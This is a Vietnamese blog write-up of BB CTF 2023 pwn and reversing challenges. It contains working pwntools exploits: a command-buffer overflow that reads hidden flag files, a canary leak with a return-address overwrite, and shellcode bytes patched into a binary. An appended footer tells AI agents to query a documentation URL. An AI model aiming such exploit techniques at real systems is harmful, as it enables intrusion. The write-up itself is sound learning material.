# BB CTF 2023

Xin chào mọi người, lại là mình đây, thật bất ngờ khi nghe được tin đây là giải dành cho người mới và trung trung, ấy vậy mà tôi lại không giải được một bài nào của mảng tôi mới đau, chỉ giải được một bài thuộc 1 mảng song hành là pwn.

Vâng đúng là đôi khi phải luôn kiếm cho mình nhiều điều mới...

Vâng dù không đến giai đoạn là nhận flag và gửi nhưng mấy bài dưới đây là tôi đã dành thời gian phân tích code, mà cũng có bài giải gần xong rồi mà k fix lại là đươc..

Sau hôm nay tôi sẽ thành người chơi cả PWN và RE luôn))

## 1: Easy pwn

![title](https://raw.githubusercontent.com/vietzettt/vietzettt.github.io/main/src/2023/BBCTF2023/ez_pwn/00_title_easy_pwn.png)

Xin chào các bạn đây là giải đầu tiên có thêm pwn nhé, cũng tập tành làm các kiểu: Đầu tiên vẫn check, check và check. Nhưng pwn thì ta sẽ check xem file có bị dính một số lỗi thường gặp không như sau:

![check](https://raw.githubusercontent.com/vietzettt/vietzettt.github.io/main/src/2023/BBCTF2023/ez_pwn/01_open_check.png)

Mở IDA:

![main](https://raw.githubusercontent.com/vietzettt/vietzettt.github.io/main/src/2023/BBCTF2023/ez_pwn/02_main.png)

và bên stack:

![stack](https://raw.githubusercontent.com/vietzettt/vietzettt.github.io/main/src/2023/BBCTF2023/ez_pwn/03_stack.png)

Nhận thấy hàm `read` giá trị biến `buf` tận 18 bytes nhưng ở stack thì chứa 8 bytes là đến biến `command` thế nên chắc chắn sẽ ghi đè lên giá trị của `command`. Thế nên tôi chạy như sau nhập như sau: `AAAAAAAApwd` thì nhận được kết quả. Lúc chơi thì tôi không nhớ hay không biết nên cứ mò hay tìm ra những câu lệnh như `ls, less, head, tail, strings,...` Hay các options của `ls` thì phát hiện flag nó nằm trong thư viện ẩn -> sau đó file `flag.txt` trong thư mục ẩn nên tôi sử dụng câu lệnh: `cat .[^.]*/*` là đọc được file flag. Ôi thật tệ khi tôi đã mất nhiều giờ vào nó.

Có câu lệnh nhanh và ngon hơn mà tôi quên là `sh`. khi nhập `AAAAAAAAsh` thì ta nhận được quyền sh sử dụng các câu lệnh bình thường để đọc file... Còn trên kia là nó giới hạn kích thước nhập vào là có 18 bytes nên cần tìm hiểu câu lệnh ngắn mà vẫn chạy đúng.

```py
from pwn import *

r = remote("pwn.bbctf.fluxus.co.in", 4001)
lst = ['cat .[^.]*/*.txt', 'cat .[^.]*/*','cat .[^.]*/flag*']

payload = b'no\nAAAAA' + b'cat .[^.]*/*'
r.sendline(payload)
r.interactive() 
```

Và nhận được:

![result](https://raw.githubusercontent.com/vietzettt/vietzettt.github.io/main/src/2023/BBCTF2023/ez_pwn/result_pwn.png)

## 2: Medium pwn

Tiếp là là bài mà khiến tôi cả đêm không ngủ cả đêm)))).

![title](https://raw.githubusercontent.com/vietzettt/vietzettt.github.io/main/src/2023/BBCTF2023/Medium_pwn/00_title_medium_pwn.png)

Nhiệm vụ này thì cũng là lỗi overflow ghi đè đến giá trị nào để sử dụng nó nhằm mục đích chạy các khác thay vì chạy chương trình mặc định.

Hàm main:

```c
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  puts("Hi! I am the Stack Oracle.\n");
  while ( 1 )
    gimme_pointer();
}
```

Vòng lặp True nếu mà chương trình không gặp bất kỳ lỗi nào trong khi thực thi hàm `gimme_pointer()` thì chạy mãi mãi:))

```c
unsigned __int64 gimme_pointer()
{
  const void *v1; // [rsp+8h] [rbp-28h] BYREF
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u); //????
  printf("You are here: %p\n Give me an address and I will grant you 8 add_geted bytes:\n", buf);
  read(0, buf, 0x40uLL); //???
  hex_string_to_byte_array(buf, &v1, 16LL); // 
  printf("Here are the contents of %p:\n", v1);
  print_buf(v1, 8LL);
  return __readfsqword(0x28u) ^ v3;
}
```

Ta đi lần lượt vào hàm nhé:

```c
__int64 __fastcall hex_string_to_byte_array(__int64 a1, __int64 a2, int a3)
{
  __int64 result; // rax
  int v5; // [rsp+28h] [rbp-8h]
  unsigned int i; // [rsp+2Ch] [rbp-4h]

  v5 = 0;
  for ( i = 0; ; i += 2 )
  {
    result = i;
    if ( (int)i >= a3 )
      break;
    __isoc99_sscanf((int)i + a1, "%2hhx", a2 + v5++);
  }
  return result;
}
```

Nhìn thì ta biết hàm chuyển 8 byte (16 ký tự char nhá) đầu của đầu vào gán vào `v1` làm địa chỉ. Rồi in nó ra màn hình cho mình.

```c
int __fastcall print_buf(__int64 a1, int a2)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i < a2; ++i )
    printf("%02X", *(unsigned __int8 *)(i + a1));
  return puts("\n");
}
```

Rồi hàm này thì in ra giá trị của địa chỉ `v1` của nó trên stack ra màn hình. Ủa ủa rồi flag ở đâu??? Hay thì làm gì bây giờ nhỉ hí hí🥲🥲 Đi kiểm tra qua các hàm của chương trình thì thấy có hàm nè:

```c
unsigned __int64 this_function_literally_prints_the_flag()
{
  int fd; // [rsp+Ch] [rbp-54h]
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fd = open("flag.txt", 0);
  read(fd, buf, 0x40uLL);
  puts(buf);
  close(fd);
  return __readfsqword(0x28u) ^ v3;
}
```

Rồi ý tưởng đã có là ta đã ghi đè lên địa chỉ return về địa chỉ của hàm đọc file `flag.txt`:

1. Tìm khoảng cách giữa địa chỉ hàm main so với địa chỉ `this_function_literally_prints_the_flag`.
2. Kiểm tra cấu tạo stack ở hàm `gimme_pointer` để từ đó input đúng vị trí chèn địa chỉ đó.

Stack `gimme_pointer` khi được phân tích ta nhận được: - read bufer (32 bytes) - nơi lưu trữ những gì mình nhập vào và có thể đè lên các giá trị như stack canary và rbp point. - stack canary (8 bytes) - rbp point (8 bytes) - return address (8 bytes) - đây là địa chỉ sau khi chạy xong chương trình `gimme_pointer` thì sẽ nhảy về đó.

Dưới đây là code giải chương trình tham khảo học hỏi từ các cao nhân:

```py

from pwn import *

r = remote('pwn.bbctf.fluxus.co.in', 4002)

r.readline()
r.readline()
add_get = int(r.readline().split()[-1], 16)
cookie_add = add_get + 0x18 #vị trí ở stack chứa giá trị coockie của mỗi lần chạy nhằm tránh lỗi canary
r.readline()

cookie_add = hex(int.from_bytes((cookie_add).to_bytes(8, 'little'), byteorder='big'))[2:]

r.sendline(cookie_add.encode())

r.recv().split()
cookie = r.recv().split()[0]

cookie = int.from_bytes((int(cookie, 16)).to_bytes(8,'big'), 'little')

print(f'Cookies: {hex(cookie)}')

base_add = add_get + 0x28 # địa chỉ stack chứa giá trị rbp

base_add = hex(int.from_bytes((base_add).to_bytes(8, 'little'), byteorder='big'))[2:]

r.sendline(base_add.encode())

r.recv().split()
base = r.recv().split()[0]

base = int.from_bytes((int(base, 16)).to_bytes(8,'big'), 'little') - 0xa21

print(f'Base: {hex(base)}')

cookie = int.from_bytes((cookie).to_bytes(8, 'little'), byteorder='little')
base = int.from_bytes((base).to_bytes(8, 'little'), byteorder='little')


w = cookie_add.encode() + b'A' * 8 + p64(cookie) + p64(base+0x8f7) * 4 

r.sendline(w)

sleep(3)

print(r.recv().split()[7])
```

:)) Xong rồi đấy.

Một số lưu ý thì thường khi gửi địa chỉ lên thì sẽ ở định dạng `big` endian nhé.

## 3: ez-pz-xor

![title](https://raw.githubusercontent.com/vietzettt/vietzettt.github.io/main/src/2023/BBCTF2023/ez_pz_xor/00_titile_ez_pz_xor.png)

Đối với bài này thì chúng ta bị tác giả lừa, khi bài này chạy và hiển thị debug vào flow cho ra kết quả nhưng không đúng. Vấn đề của chúng ta là tìm hiểu đúng sử dụng hàm nào đúng.

Kiểm tra thì ta phát hiện ra hàm nghi vấn `_do_global_dtors_aux()`.

Và đây là một số câu lệnh hữu ích:

* Chuyển string to hex (int):

```py
strings = ''
x = int(bytes.hex(strings.encode()),16)
# x = int(bytes.hex(b'hello'),16)
```

Và hex to string

```py
strings = bytes.fromhex(hex(x)[2:])
```

Tạo file mới có sửa đổi nhé:

```py
with open('./ez-pz xor', 'rb') as f:
    l = f.read()

l = list(l)

f.close()

# thay bằng hàm write()
"""
mov r8, rdi
mov rax, 1
mov rdi, 1
mov rsi, r8
mov rdx, 8
syscall

x = [0x49, 0x89, 0xf8, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xc6, 0x48, 0xc7, 0xc2, 0x08, 0x00, 0x00, 0x00, 0x0f,0x05]
"""

x = [0x49, 0x89, 0xf8, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc7, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xc6, 0x48, 0xc7, 0xc2, 0x08, 0x00, 0x00, 0x00, 0x0f,0x05]

x = list(x)

for i in range(len(x)):
    l[0x1385+i] = x[i]

with open('./ez_injection', 'wb') as f:
    f.write(bytes(l))

```

Chạy file mới đấy ta nhận được string nguồn đó. `BBBBBBBB` nhận được giá trị `bFbFbFbF`. ta nhận được kết quả rồi sẽ làm xor lấy key rồi xor với `password` để ra:

```py
x = int(bytes.hex(b'BBBBBBBB'),16)
y = int(bytes.hex(b'bFbFbFbF'),16)
z = int(bytes.hex(b'password'),16)

a = int(hex(x^y),16)
print(bytes.fromhex(hex(a^z)[2:]))
```

ta nhận được `b'PeSwWkR'` -> gửi lên là ra flag.....

## 4: More Control

![title](https://raw.githubusercontent.com/vietzettt/vietzettt.github.io/main/src/2023/BBCTF2023/More%20Control/00_title_more_control.png)

Đối với nhiệm vụ này ta nhận được 1 file chương trình và 1 file dữ liệu dạng bin. Đại lại lấy chương trình này để load dữ liệu của file dữ liệu bin làm data của ct.

(Bài này tôi sẽ nghiên cứu sau:)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viettaliii.gitbook.io/home/ctf/write-up/bb-ctf-2023.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
